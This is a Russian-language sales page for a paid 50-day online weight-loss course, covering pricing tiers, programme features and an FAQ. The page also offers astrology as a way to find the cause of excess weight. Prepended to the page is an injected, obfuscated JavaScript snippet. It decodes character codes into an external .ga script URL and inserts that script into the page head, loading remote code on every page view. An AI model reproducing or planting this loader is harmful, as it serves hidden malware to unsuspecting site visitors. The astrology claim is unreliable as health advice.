Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})(); ОНЛАЙН-ТРЕНИНГ "50 ДНЕЙ" - Ванда Тренинг

Вандатренинг

ПОЧЕМУ ДО СИХ ПОР

Ты не можешь похудеть?

Ты выполняешь набор упражнений, которые насобирала по всему интернету, и толком не понимаешьзачем и почему они нужны.

Ты думаешь, что питаешься правильно, но на самом деле это не так, иначе ты давно бы уже похудела

Ты постоянно срываешься, потому что у тебя НЕТ четкого плана питания.

Ты часто заканчиваешь тренировку, потому что потянула спину, ногу, руку… ведь по видео из ютуба сложно понять правильную технику упражнения.

Тебя никто не поддерживает и не контролирует.

Ты не видишь прогресса, худея на один килограмм, а через неделю поправляясь на два

Ты бесконечно делаешь упражнения на пресс и ягодицы и не видишь изменений, потому что техника не верная

Чтобы решить эти проблемы, я придумала

Онлайн -тренинг "50 дней"​

Это комплексный подход — такой, чтобы я могла онлайн контролировать, помогать, поддерживать и обучать тебя.

Чтобы ты  не тратила время на поездку в зал.

Чтобы не пришлось больше рыться в интернете в поисках истины — как похудеть?

Лишний вес это не только проблема переедания, и малой подвижности. Она в голове. И с этим мы будем работать в первую очередь.

В этом проекте мне удалось реализовать цель:

  • Виртуально держать тебя за руку.
  • Весь проект быть рядом.
  • Помогать каждый день совершать подвиги во имя себя.

Что будет на тренинге​

ОБУЧЕНИЕ

Команда наших диетологов расскажет тебе про страшные буквы КБЖУ. И не забудет объяснить основные тайны о питании при похудении.😈 После этого ты сама легко сможешь составлять меню.

ВЕДЕНИЕ ДИЕТОЛОГОМ

Каждый день ты будешь вести дневник питания под контролем диетолога. Диетолог исправит все ошибки, даст необходимые рекомендации, ответит на все вопросы.

ПРОГРАММА ПИТАНИЯ

Мы предложим тебе две интерактивные программы питания! Одна — с рецептами пп-блюд, вторая — с простым набором еды, если ты не любишь возиться на кухне с готовкой😉. Программа сама рассчитает, сколько нужно есть именно тебе, чтобы похудеть. Тебе останется только приготовить и взвесить!

123

ПРОГРАММА ТРЕНИРОВОК

Не знаешь, как качать пресс, чтобы убрать живот?
В последний раз занималась спортом в школе? У тебя будет индивидуальная программа тренировок! Совместно с доктором-остеопатом я составлю ее в зависимости от твоей физической формы, уровня подготовки, состояния здоровья и наличия противопоказаний. И главное — от того, сколько у тебя свободного времени!

РАБОТА С ТРЕНЕРОМ

Команда тренеров проверит технику и подскажет,
КАК делать упражнения правильно и эффективно. Ты отправляешь нам короткое видео 20-30 секунд, где выполняешь упражнение из программы. Тренер исправляет ошибки и даёт рекомендации.

КОНТРОЛЬНЫЕ ЗАДАНИЯ

Наши любимые контрольные задания не дадут тебе расслабиться и лежать на диване. 😎Но не переживай! Мы учтем твои возможности: будешь заниматься по своей программе тренировок — сможешь их выполнить😉.
Все 17 предыдущих сезонов подтверждают это!

БОНУСЫ ЗА ДОСТИЖЕНИЯ

Все твои достижения будут поощряться! За каждое выполненное задание ты будешь получать бонусы, эквивалентные рублям. Ты будешь худеть и зарабатывать деньги! На эти деньги ты сможешь приобрести любой наш продукт или личную консультацию.

ПОДАРКИ

В конце каждого сезона проекта участницы с лучшими результатами награждаются ооочень приятными подарками: спортивное оборудование, бесплатный доступ к нашим лучшим тренингам, личная работа с коучем на устранение причин лишнего веса, консультация визажиста, посещение СПА и многое другое. Каждый сезон подарки меняются.

НО САМОЕ ГЛАВНОЕ,

Ты попадешь в сообщество:

  • Людей, которые, как и ты - только начинают.
  • Людей, которые тоже опасаются, что не получится. Они также уже многое перепробовали.
  • Людей, у которых уже все получилось! И они вернулись к нам, чтобы добиться еще больших результатов в столь любимой ими компании!

ПОЧЕМУ МОЯ СИСТЕМА

Действительно работает?

Можно годами ходить в зал и вроде бы даже заниматься. Но результатов не будет видно. Потому что все мы — разные! И невозможно всем стройнеть, качать попу, убирать живот одинаково.
Наша повседневная жизнь накладывает свой отпечаток на тело. Одни мышцы спазмируются, другие, наоборот, в гипотонусе. А значит, ты можешь просто не ощущать нагрузку на определенную группу мышц, тогда как другие — ощущают. И наоборот.
Например, не у всех при приседах работают ягодицы. Так же можно качать пресс, но если техника не верная — результата не будет. Важно, чтобы для тебя составили ТВОЮ программу — под твое тело, возраст, здоровье. И конечно же — обязательно проверили технику. Именно это мы и делаем в тренинге «50 дней»!
Кроме того, важно разобраться с питанием — каким оно должно быть. Рассчитать свой калораж, определиться с меню. Наши диетологи помогут решить эти задачи в одном месте и за один тренинг. Ты получишь программу питания. А диетолог каждый день будет проверять дневник питания.
В течение всего тренинга мы работаем с психологическими причинами лишнего веса — то есть с первопричиной. А значит результат становится стабильным.

Весь тренинг мы словно держим тебя  за руку — ободряя и поддерживая. Обучая и объясняя. Ты меняешься по четко продуманному плану, в системе. И это — ТВОЯ ЛИЧНАЯ система, которую для тебя создадим мы. И тогда ты добьешься результата. Ведь каждое действие, движение будет для тебя понятным и обоснованным. Соответсвенно, мотивация и результативность — выше.

Результаты наших участниц

Эти женщины не просто похудели. Они УБЕДИЛИСЬ, что это возможно! Поверили в себя. Осознали, что все в их руках, а фигура мечты — реальность. Это огромный шаг на пути изменения своей жизни и внешности. И теперь, после тренинга, с позитивным мироощущением и верой в себя они могут двигаться дальше уже без нашей поддержки. Все получится!

Отзывы наших участниц

Варианты участия

Хочешь, чтобы у тебя наконец получилось стать СТРОЙНОЙ
Присоединяйся к нашей дружной компании и выбирай вариант участия!

Открыт набор группы. 19 сезон стартует 20 августа

Что входит:
СТАРТ
СТАНДАРТ
ВИП
Стоимость участия в день
159 р/день
140 р/день
279 р/день
Доступ к обучающим материалам
+
+
+
Доступ в личный кабинет с видео-тренировками
+
+
+
Доступ в закрытое сообщество
+
+
+
Программа питания со встроенным счетчиком калорий
+
+
+
Прямые эфиры со специалистами курса с записью
+
+
+
Ответы на вопросы в группе
+
+
+
Обучение принципам питания при похудении
+
+
+
Работа с внутренними установками, которые мешают похудеть
+
+
+
Еженедельные награды за личные достижения
+
+
+
Индивидуальная программа тренировок
+
+
Разбор и проверка техники выполнения упражнений программы
+
+
Ведение дневника питания под контролем диетолога
+
+
Проверка заданий кураторами
+
+
Гимнастика для лица
+
+
Поиск личной причины лишнего веса с помощью астрологии. Рекомендации при работе с установками
+
+
Проверка техники упражнений и отчетов по заданиям лично Вандой
+
Проверка техники упражнений гимнастики для лица лично Вандой
+
Индивидуальная программа питания
+
Коррекция программы тренировок в течение тренинга
+
Личный чат поддержки и контроля с Вандой и диетологом
+
Стоимость участия
6990 pуб
5990 pуб
10990 pуб
8990 pуб
37970 pуб
23990 pуб

Ответы на частые вопросы

Для участия выезжать никуда не нужно. Тренинг проходит онлайн в закрытой группе ВКонтакте. Для участия вам нужен только компьютер и доступ в интернет.
После оплаты тренинга вас приглашают в закрытую группу. Там проходит обучение основным принципам питания и похудения. Работа с тренером идет через каждодневные задания — вы снимаете кусочек видео упражнения, тренер проверяет и дает обратную связь — исправляет ошибки, помогает поставить верную технику выполнения. Работа с диетологом происходит через дневник питания. Вы пишете отчет каждый день, задаете интересующие вас вопросы — диетолог комментирует, исправляет ошибки, выдает рекомендации лично для вас. Также вы получаете программу питания, индивидуальную программу тренировок и личный доступ к видео-тренировкам с Вандой.
Наши принципы основаны на правильном питании и разумных тренировках, которые учитывают состояние вашего здоровья, противопоказания и уровень физической подготовки. А также на любви к себе и своему телу.
Наши тренинги основаны на индивидуальном подходе. С каждой участницей индивидуально работает диетолог, фитнес-тренер и психолог.

Индивидуальные программы тренировок для вас составляет Ванда и доктор-остеопат Михаил. Программы питания разрабатывает нутрициолог — Наталья.

Ответ на свой вопрос вы получите в течение дня. Дневник питания проверяется каждый день. Проверка техники выполнения упражнений тренером — каждый день.

Да, вы занимаетесь дома. Просто включаете видео-тренировку и повторяете за Вандой. Или же занимаетесь по составленной для вас индивидуальной программе тренировок. При вашем желании программа тренировок составляется для зала.

Примерно 1 час в день — полноценная тренировка. Можно разбивать на несколько кусочков в течение дня. У нас также есть тренировки-«ленивчики» — 20 минут в день.

Дополнительное оборудование не потребуется. Минимальный набор — гантели или эспандер (можно легко заменить на бутылки с водой). При составлении индивидуальной программы тренировок учитываются ваши пожелания и наличие спорт инвентаря у вас дома.

В тренинге «50 дней» вы получаете интерактивную программу питания. Она сама рассчитывает необходимую для вас калорийность и расставляет размер порций в меню — сколько нужно есть именно вам, чтобы похудеть.

Да. В тренинге «50 дней» для вас составляется индивидуальная программа тренировок в зависимости от ваших целей.
Интерактивная программа питания рассчитает ваш рацион в зависимости от цели — в вашем случае для набора массы.

Да. Грудное вскармливание будет учтено в вашем питании и тренировках.

Да. В нашем тренингах с вами индивидуально работает тренер. Все проблемы со здоровьем и противопоказания учитываются в процессе работы и при составлении индивидуальной программы тренировок. В результате вы похудеете, подтяните проблемные места, избавитесь от целлюлита — в зависимости от исходных данных.

Да, конечно! В наших тренингах участвуют женщины разных возрастов — от 25 до 60. И получают отличные результаты! При работе с участницами мы учитываем все индивидуальные особенности — возраст в том числе.

Да, конечно. Если вы будете выполнять все рекомендации наших специалистов — обязательно снизите вес!

Проекту исполнилось 3 года. Опыт работы команды Вандатренинга — каждого в своей области — от 8 до 16 лет.

Оплата происходит только через этот сайт с помощью яндекс-кассы. Оплаты ни на какие счета или карты мы не принимаем. Будьте внимательны!

Сразу после оплаты на вашу почту придет подтверждение оплаты, чек и доступы в закрытую группу и личный кабинет. А также подробная инструкция, что делать дальше.

СЛУЖБА ПОДДЕРЖКИ:  mail@vandatrening.ru | +7 (911) 166-78-04
© ИП Безрукова Ванда Эдуардовна ОГРН ИП 317784700236847 ИНН 380103874176

Перезвоните мне

Оставьте ваш телефон и мы перезвоним.